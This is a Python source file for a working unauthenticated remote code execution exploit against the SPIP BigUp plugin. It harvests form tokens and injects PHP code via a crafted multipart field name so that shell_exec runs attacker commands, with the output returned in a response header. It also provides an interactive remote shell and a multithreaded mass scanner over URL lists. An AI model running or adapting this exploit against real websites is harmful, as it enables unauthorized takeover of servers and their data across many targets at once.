import sys import base64 import random import string import requests import concurrent.futures import rich_click as click from bs4 import BeautifulSoup from urllib.parse import urlparse from alive_progress import alive_bar from prompt_toolkit import PromptSession, HTML from prompt_toolkit.history import InMemoryHistory from random_user_agent.user_agent import UserAgent from random_user_agent.params import SoftwareName, OperatingSystem requests.packages.urllib3.disable_warnings() class SpipBigUp: def __init__(self, base_url, verbose=True, proxy=None): self.base_url = base_url self.proxies = {"http": proxy, "https": proxy} if proxy else None self.verbose = verbose software_names = [SoftwareName.CHROME.value, SoftwareName.FIREFOX.value] operating_systems = [ OperatingSystem.WINDOWS.value, OperatingSystem.LINUX.value, OperatingSystem.MAC.value, ] user_agent_rotator = UserAgent( software_names=software_names, operating_systems=operating_systems, limit=100, ) self.headers = {"User-Agent": user_agent_rotator.get_random_user_agent()} def custom_print(self, message: str, header: str) -> None: header_mapping = { "+": "✅", "-": "❌", "!": "⚠️", "*": "ℹ️ ", } emoji = header_mapping.get(header, "❓") formatted_message = f"{emoji} {message}" click.echo(click.style(formatted_message, bold=True, fg="white")) def get_form_action_args(self): parsed_url = urlparse(self.base_url) custom_path = parsed_url.path.lstrip("/") pages = [] if custom_path: pages.append(custom_path) pages.extend(["login", "spip_pass", "contact"]) for page in pages: url = ( f"{parsed_url.scheme}://{parsed_url.netloc}/{page}" if custom_path and page == custom_path else f"{self.base_url}/spip.php?page={page}" ) try: response = requests.get( url, headers=self.headers, proxies=self.proxies, verify=False, timeout=5, ) if response.status_code != 200: continue soup = BeautifulSoup(response.text, "html.parser") form_data = { "action": soup.find("input", {"name": "formulaire_action"}), "args": soup.find("input", {"name": "formulaire_action_args"}), } form_data = {k: v.get("value") for k, v in form_data.items() if v} if len(form_data) == 2: return form_data except requests.exceptions.RequestException as e: if self.verbose: self.custom_print( f"Failed to fetch form data from `{page}` page: {e}", "-" ) return None def post_article_form(self, form_data, command): try: boundary = "".join( random.choices(string.ascii_letters + string.digits, k=16) ) random_name = "".join(random.choices(string.ascii_letters, k=4)) random_filename = "".join(random.choices(string.ascii_letters, k=4)) php_payload = ( f'header("X-Command-Output: " . base64_encode(shell_exec(base64_decode("{command}"))))' ).replace('"', '\\"') parts = [ f'--{boundary}\r\nContent-Disposition: form-data; name="formulaire_action"\r\n\r\n{form_data["action"]}', f'--{boundary}\r\nContent-Disposition: form-data; name="bigup_retrouver_fichiers"\r\n\r\n1', f'--{boundary}\r\nContent-Disposition: form-data; name="{random_name}[\' . {php_payload} . die() . \']"; filename="{random_filename}"\r\nContent-Type: text/plain\r\n\r\nContenu du fichier!', f'--{boundary}\r\nContent-Disposition: form-data; name="formulaire_action_args"\r\n\r\n{form_data["args"]}', f"--{boundary}--", ] body = "\r\n".join(parts) headers = self.headers.copy() headers["Content-Type"] = f"multipart/form-data; boundary={boundary}" response = requests.post( self.base_url, data=body, headers=headers, proxies=self.proxies, verify=False, timeout=5, ) return response except requests.exceptions.RequestException as e: pass def execute_command(self, form_data, command): encoded_command = base64.b64encode(command.encode()).decode() response = self.post_article_form(form_data, encoded_command) if response and response.status_code == 200: encoded_output = response.headers.get("X-Command-Output") if encoded_output: decoded_output = base64.b64decode(encoded_output).decode() return decoded_output return None def check_vulnerability(self): form_data = self.get_form_action_args() if not form_data: return False, None output = self.execute_command(form_data, "id") if output: return True, output return False, None def interactive_shell(self): session = PromptSession(history=InMemoryHistory()) form_data = self.get_form_action_args() if not form_data: self.custom_print( "Failed to retrieve `formulaire_action_args` value from both `login` and `contact` pages.", "-", ) return self.custom_print("Interactive shell started. Type `exit` to quit.", "*") while True: cmd = session.prompt( HTML("$ "), default="" ).strip() if cmd.lower() == "exit": self.custom_print("Exiting shell...", "*") break if cmd.lower() == "clear": sys.stdout.write("\x1b[2J\x1b[H") continue output = self.execute_command(form_data, cmd) if output: print(output) else: self.custom_print("Failed to receive response from the server.", "-") @click.rich_config(help_config=click.RichHelpConfiguration(use_markdown=True)) @click.command( help=""" # 😈 SPIP BigUp Unauthenticated RCE Exploit 😈 Exploits a **Remote Code Execution vulnerability** in SPIP versions up to and including **4.3.1**. The vulnerability lies in the **BigUp plugin**, where improperly handled file uploads can lead to **arbitrary PHP code execution**. By crafting a malicious multipart form request, an attacker can gain remote code execution on the server. ## ⚠️ Use this tool responsibly. """ ) @click.option( "-u", "--url", help="🌐 The **target URL** that you want to scan and potentially exploit.", ) @click.option( "-f", "--file", help="📂 File containing a **list of URLs** to scan for vulnerabilities.", ) @click.option( "-t", "--threads", default=50, show_default=True, help="⚙️ The number of **threads** to use during scanning.", ) @click.option( "-o", "--output", help="💾 Specify an **output file** to save the list of vulnerable URLs.", ) @click.option( "--proxy", help="🌍 Proxy to use for the requests (e.g., http://localhost:8080).", ) def main(url, file, threads, output, proxy): if url: spip = SpipBigUp(url, proxy) is_vulnerable, output = spip.check_vulnerability() if is_vulnerable: spip.custom_print(f"Target is vulnerable! Command Output: {output}", "+") spip.interactive_shell() else: spip.custom_print( "The target is not vulnerable or the exploit failed.", "-" ) elif file: urls = [] with open(file, "r") as url_file: urls = [line.strip() for line in url_file if line.strip()] def process_url(url): spip = SpipBigUp(url, proxy) is_vulnerable, command_output = spip.check_vulnerability() return spip, url, is_vulnerable, command_output with alive_bar(len(urls), enrich_print=False) as bar: with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor: futures = {executor.submit(process_url, url): url for url in urls} for future in concurrent.futures.as_completed(futures): spip, url, is_vulnerable, command_output = future.result() if is_vulnerable: spip.custom_print(f"Vulnerable URL: {url}", "+") if command_output: spip.custom_print(f"Command Output: {command_output}", "+") if output: with open(output, "a") as f: f.write(f"{url}\n") bar() else: click.echo("You must specify either a single URL or a file containing URLs.") if __name__ == "__main__": main()